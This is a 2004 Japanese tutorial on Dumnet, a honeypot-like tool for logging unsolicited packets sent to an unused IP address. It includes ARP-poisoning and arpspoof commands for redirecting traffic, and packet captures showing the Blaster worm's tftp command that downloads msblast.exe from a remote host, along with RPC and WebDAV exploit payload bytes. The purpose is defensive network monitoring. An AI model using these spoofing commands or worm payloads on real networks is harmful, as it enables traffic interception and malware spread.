Dumnetと遊ぼう

あなたは、自分の目の前にあるネットワークケーブル上をどのようなデータが流れているか知ってますか?

もしインターネットにコンピュータをつなげて、サーバとして運用しているとしたら、そのコンピュータがどのようなパケットを受け取っているか知ってますか?

ネットワーク上を流れるデータは、プロトコルに従った行儀の良いデータだけとは限りません。たとえば、一時期世間を騒がせたBlasterワームを思い出してください。あなたには、すでに過去の出来事のように思えるかもしれませんが、実際のインターネット上では、いまだにBlasterワームが蔓延っています。

嘘だと思うのなら、ちょっとネットワークを覗いてみてください。インターネットにつながったコンピュータで、以下のようにtcpdumpを動かしてみます。

# tcpdump -Xnnn "dst port 4444"

しばらく様子をみてください。そうですね。ネットワークの構成にもよりますが、数分から1日で、ほぼ間違いなく以下のようにBlasterワームがバックドアを求めて彷徨っている様子が得られます。

12:20:57.337062 24.85.150.250.2484 > 203.141.149.116.4444:
   P 3136861957:3136861995(38) ack 629929241 win 16968 (DF)
0x0000   4500 004e 2870 4000 6f06 d2e8 1855 96fa        E..N(p@.o....U..
0x0010   cb8d 9574 09b4 115c baf8 b705 258b f519        ...t...\....%...
0x0020   5018 4248 de77 0000 7466 7470 202d 6920        P.BH.w..tftp.-i.
0x0030   3234 2e38 352e 3135 302e 3235 3020 4745        24.85.150.250.GE
0x0040   5420 6d73 626c 6173 742e 6578 650a             T.msblast.exe.


この例ではたまたまBlasterワームを取り上げましたが、他にもさまざまなワームがインターネット上を彷徨っているはずです。もちろん、ワームだけとは限りません。インターネットに仕掛け残されたバックドアに対する接続や、既知の脆弱性を持ったソフトウェアにより運用されているコンピュータを探し回る不正アクセス者など、それらの行動がパケットに姿を変えて、インターネット上を彷徨っています。

・Dumnetとは?
Dumnetとは、Dummy Network Projectにおいて、JunichiMurakami氏によって開発された、ハニーポットに近い機能を持つネットワークツールです。

Dumnetは指定されたIPアドレスに送られるパケットに対して、偽のハンドシェイクを実行し、その後送られてくるパケットを記録することができます。

これまでiplogなどのトラヒック監視ツールによって、自分のコンピュータに送られてくるパケットの存在そのものを知ることはできました。Dumnetは更に一歩進んで、そのパケットの中まで覗くことが可能です。

では、いったいそれで何が幸せなのでしょうか?簡単です。そのパケットの目的がおぼろげながら分かるのです。
先ほどのBlasterワームの例では、DestinationPortの番号だけでも分かると主張される人がいることでしょう。でも単なるポートスキャンとの違いを何処で判別できるでしょうか?パケット(セグメント)の長さでも分かるかもしれませんが、もっとも手っ取り早いのは実際にパケットのペイロードを覗いてしまうことです。実際にこのような処理は、NIDS(侵入検知システム)が行っています。

また、Blasterワーム以外のバックドアへ接続するためのパケットも存在することでしょう。それらは、いったいどのような手順で接続するのか興味ありませんか?

多くのバックドアはどのポートを使って通信を行うのか、まったく予想がつきませんから、特定のポートで待ち受けることでパケットを補足することは、あまり期待できません。

Dumnetは、可能なかぎり多くのポートでパケットを待ち受けます。これにより、上手くすれば未知のバックドアや、DoS手法、エクスプロイトを発見できるかもしれません。

使い方はこれだけに限りません。分析ツールと組み合わせることで、さまざまな形態のネットワーク監視が可能となるでしょうし、後に触れるインターネット全体での振舞いを監視するためのセンサーとしても使用することができるでしょう。

じつは似たようなツールとしてはDummy Inetdなどが存在します。じつはボク自身がそれらをあまり調べてないのですが、おそらくDumnetの機能を実現させるなら、Dummy Inetdなどよりずっと簡単に使うことができるはずです。たぶん。

ここまで読んだあなたは、ハニーポットとの違いについて疑問に思うかもしれません。ハニーポットは実際に運用されているコンピュータに近い振る舞いを見せることで、不正アクセス者を中に誘い込み、その行動を一部始終追跡します。どちらかと言えば、不正アクセス者の行動を観察することが主な目的であると言えます。

一方のDumnetは、不正アクセス者の行動などにはそれほど興味を持ちません。ネットワーク上を流れるトラヒックが持つ意味を解明し、未知のコンピュータウィルスやワーム、バックドアの存在、そしてどのポートが目標になっているかなどを知ることが目的です。

・Dumnetで遊ぼう
このドキュメントでくどくどと説くよりも、実際に動作させてみた方が、Dumnetの機能をよりよく理解できることでしょう。

ここではボクの自宅に引き込んであるADSL回線を使って、Dumnetによるちょっとした実験を行ってみることにします。

ボクのオウチLANは8つの固定IPアドレスによって運用されてます。このなかの1つは、皆さんご存知かもしれないSnort.gr.jpのために使われています。残っているIPアドレスのうち2つを使用してDumnetで遊んでみます。

・ビルド
当然ですが、まずはDumnetをビルドしなければなりません。

Dumnetは以下のサイトから入手することができます。

Dumnet
http://tf.happyhacking.net/archive/dumnet/

現在はまだ0.4.0ですが、機能的にも、安定性の面でも、手元では十分な状態であることを確認しています。

Dumnetをビルドするには以下のライブラリが必要となります。

libpcap
http://www.tcpdump.org/
libnet
http://www.packetfactory.net/libnet

また実際にDumnetを動作させる場合、以下のツールがあると更に幸せになれるかもしれません。やはりSnortユーザ会ですので、Snortを紹介することはお約束です。あとtcpdumpは重要です。tcpdumpのコマンドラインパラメータを覚えていることはもちろん、BPFのExpressionくらいは書けるようになりましょう。ネットワーク管理者たるべきもの、BPFのExpressionくらい書けないと村八分になりますので、気をつけた方がいいです。

つまり、これはTCP/IPについて理解していることを暗に示しています。もちろんみなさんは「えきすぱーと」ですから、こんなこと無問題ですね。ボクはちょっと不自由してますが。

Snort
http://www.snort.org/
tcpdump
http://www.tcpdump.org/

それから、もしもあなたが使っているネットワーク機器がダサダサだった場合、dsniffとか持ってると嬉しいかもしれません。
というか、初期の頃の Dumnet は、ARP poisoning の機能を持っていなかったので、dsniff などでARPを乗っ取る必要があったのですが、1.0 で ARP poisoning を実装しましたので、特に必要無いかもしれません。でも持っているとなにかと便利なツールですので、この際入手しておくと良いかもしれません。

Dsniff
http://naughty.monkey.org/~dugsong/dsniff/

Redhat Linuxなどの場合、dsniffのビルドが上手く行かない場合がありますので、適当にrpmパッケージでも拾ってくるか、自力で直してください。

libpcap、libnet 共にビルドとインストールは簡単です。お約束の呪文を唱えるだけです。サルでもビルドできます。

# ./configure
# make
# make install

ですね。で、Dumnetも当然同じです。さらっとインストールしちゃってください。というか、ここらで引っかかる人はそもそもDumnet使ってる場合じゃないですね。あ、dsniffのビルドはちょっと苦労するかもしれませんが。

・使ってみる
つぎにDumnetを動作させる形態を検討しなければなりません。Dumnetにパケットを誘い込むためのIPアドレスを与える必要があります。たとえそのIPアドレスにコンピュータが設置してなくても、まるで設置してあるかのように振舞うことが可能です。いわゆるVirtualIPaddressってヤツです。もちろんDumnet自身が動くコンピュータのIPアドレスを利用することも可能です。

この動作形態によって、必要とされる設定作業に微妙な違いが出てきますが、みなさんはネットワークの「えきすぱーと」ですから、特に問題は無いことでしょう。ね。

さて、この例では、実際には存在しないIPアドレスをDumnetに騙ってもらいます。

Dumnetを実際に動かすコンピュータ203.141.149.115
Dumnetが騙るIPアドレス203.141.149.116

で、騙るIPアドレスが決まったなら後は簡単。以下のように実行してください。ネットワークデバイスの部分は適当なデバイス名を必ず与えてください。

# dumnet -A 203.141.149.116 -o dumnet.log eth0

これだけで203.141.149.116に対するパケットについて、代わりにDumnetが反応し、その過程をdumnet.logに記録します。

でも、これだけでは終わりません。203.141.149.116に対するトラヒックを、Dumnetが動作する203.141.149.115のコンピュータに届くようになんらかの工夫を加えてあげる必要があります。たとえばゲートウェイになっているルータにStaticARPを設定してあげます。Linuxのコンピュータをルータとして使用しているのであれば、以下のように203.141.149.115のコンピュータのMACアドレス 00:30:68:01:10:10 を、203.141.149.116に割り当ててあげれば良いのです。

# arp -s 203.141.149.116 00:30:68:01:10:10

ただし、最近の安物ルータにはStaticARPが設定できないものが存在します。その場合は少し知恵を絞らないとなりません。

そこで必要なのが ARP poisoning です。dumnet には ARP poisoning の機能が実装されています。以下のように実行してみましょう。

# dumnet -P 203.141.149.113:203.141.149.116 -A 203.141.149.116 -o dumnet.log eth0

-P (Gateway IP Address):(Spoofed IP Address)
といったカンジで記述してやることにより、Gatewayを騙してARPテーブルを書き換えることができます。

もちろんdsniffを使っても構いません。ARP Spoofing toolである arpspoof を使って同様に ARPテーブルを書き換えることが可能です。

# arpspoof -t 203.141.149.113 203.141.149.116

これでルータである 203.141.149.113 のARPテーブルに 203.141.149.116 のMACアドレスが無理やり登録されます。正確には、203.141.149.116のARPリクエストに対して、203.141.149.115のコンピュータ上で動作するarpspoofが偽のARPリプライを返すわけです。

これでめでたく動いたはずです。あとはしばらく放っておいてみましょう。一晩くらい放っておくと、dumnet.log に色々と記録されているはずです。

Dumnetで記録したファイルはtcpdumpで読み出すことが可能です。tcpdumpフォーマットをサポートしているツールであれば、何を使っても構いません。たとえばSnortで読み込み、ルールセットとマッチするか検査してみても良いですし、記録されたデータを元にして、新しいSnortのルールを書くのも良いでしょう。楽しみ方はいろいろあります。

例:
# tcpdump -r dumnet.log
22:29:22.256460 pool-141-149-182-249.bos.east.verizon.net.4104 > 203.141.149.116.user.am.il24.net.135: P 3516225923:3516225995(72) ack 1209336083 win 65280 (DF)
22:30:47.665304 61-222-17-187.HINET-IP.hinet.net.4075 > 203.141.149.116.user.am.il24.net.135: P 0:72(72) ack 1 win 65044 (DF)
22:37:37.717904 pcd441168.netvigator.com.rwhois > 203.141.149.116.user.am.il24.net.2745: P 3412468205:3412468229(24) ack 681086950 win 65044 (DF)
22:37:37.833576 pcd441168.netvigator.com.4369 > 203.141.149.116.user.am.il24.net.http: . 3412840487:3412841901(1414) ack 1108076338 win 65044 (DF)
22:37:37.853468 pcd441168.netvigator.com.4369 > 203.141.149.116.user.am.il24.net.http: . 1414:2828(1414) ack 1 win 65044 (DF)
22:37:37.961818 pcd441168.netvigator.com.1057 > 203.141.149.116.user.am.il24.net.135: P 3416856594:3416856666(72) ack 1554982226 win 65044 (DF)
22:37:37.968807 pcd441168.netvigator.com.1060 > 203.141.149.116.user.am.il24.net.135: P 3416899393:3416899465(72) ack 1428298027 win 65044 (DF)
22:37:40.688044 pcd441168.netvigator.com.rwhois > 203.141.149.116.user.am.il24.net.2745: P 0:24(24) ack 1 win 65044 (DF)

今後はDumnetを使ってインターネット上の多地点観測システムの構築を検討しています。名づけて「インターネット百葉箱プロジェクト」良いカンジでしょ?それには観測したデータの分析手法が重要になります。今のところお約束ですが、RRDTOOLに喰わせてグラフ化とかくらいしか考えてませんが、効率的な集計の手法などをこれから考えて行く予定です。

実際にパケットをDumnetがどのように記録しているか興味があるでしょうから、ボクの実験環境で集められたデータを転載します。iplogだけではわからないような現象が色々と観察できて、なかなか興味深いですよ。


# tcpdump -r dumnet.log -X
22:29:22.256460 pool-141-149-182-249.bos.east.verizon.net.4104 > 203.141.149.116.user.am.il24.net.135: P 3516225923:3516225995(72) ack 1209336083 win 65280 (DF)
0x0000 4500 0070 50fa 4000 7106 12fd 8d95 b6f9 E..pP.@.q.......
0x0010 cb8d 9574 1008 0087 d195 5983 4815 0113 ...t......Y.H...
0x0020 5018 ff00 82f7 0000 0500 0b03 1000 0000 P...............
0x0030 4800 0000 0100 0000 d016 d016 0000 0000 H...............
0x0040 0100 0000 0000 0100 80bd a8af 8a7d c911 .............}..
0x0050 bef4 0800 2b10 2989 0100 0000 045d 888a ....+.)......]..
0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`....
22:30:47.665304 61-222-17-187.HINET-IP.hinet.net.4075 > 203.141.149.116.user.am.il24.net.135: P 0:72(72) ack 1 win 65044 (DF)
0x0000 4500 0070 a605 4000 7406 afe7 3dde 11bb E..p..@.t...=...
0x0010 cb8d 9574 0feb 0087 631a 74cc 1df6 b6d3 ...t....c.t.....
0x0020 5018 fe14 4087 0000 0500 0b03 1000 0000 P...@...........
0x0030 4800 0000 0100 0000 d016 d016 0000 0000 H...............
0x0040 0100 0000 0000 0100 80bd a8af 8a7d c911 .............}..
0x0050 bef4 0800 2b10 2989 0100 0000 045d 888a ....+.)......]..
0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`....
22:37:37.717904 pcd441168.netvigator.com.rwhois > 203.141.149.116.user.am.il24.net.2745: P 3412468205:3412468229(24) ack 681086950 win 65044 (DF)
0x0000 4500 0040 4bb8 4000 7006 aa7a cbda e7a8 E..@K.@.p..z....
0x0010 cb8d 9574 10e1 0ab9 cb66 21ed 2898 8fe6 ...t.....f!.(...
0x0020 5018 fe14 48d9 0000 43ff ffff 3030 3001 P...H...C...000.
0x0030 0a28 91a1 2be6 602f 328f 6015 1a20 1a00 .(..+.`/2.`.....
22:37:37.833576 pcd441168.netvigator.com.4369 > 203.141.149.116.user.am.il24.net.http: . 3412840487:3412841901(1414) ack 1108076338 win 65044 (DF)
0x0000 4500 05ae 4bd8 4000 6e06 a6ec cbda e7a8 E...K.@.n.......
0x0010 cb8d 9574 1111 0050 cb6b d027 420b e732 ...t...P.k.'B..2
0x0020 5010 fe14 d40e 0000 5345 4152 4348 202f P.......SEARCH./
0x0030 9002 b102 b102 b102 b102 b102 b102 b102 ................
0x0040 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0050 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0060 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0070 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0080 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0090 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x00a0 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x00b0 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x00c0 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x00d0 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x00e0 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x00f0 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0100 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0110 b102 b102 b102 b102 b102 b102 b102 b102 ................
0x0120 b102 b102 b102 b102 b102 b102 b102 b102 ................

Katsuhiro Watanabe at RIKEN
Tue Mar 2 20:00:18 JST 2004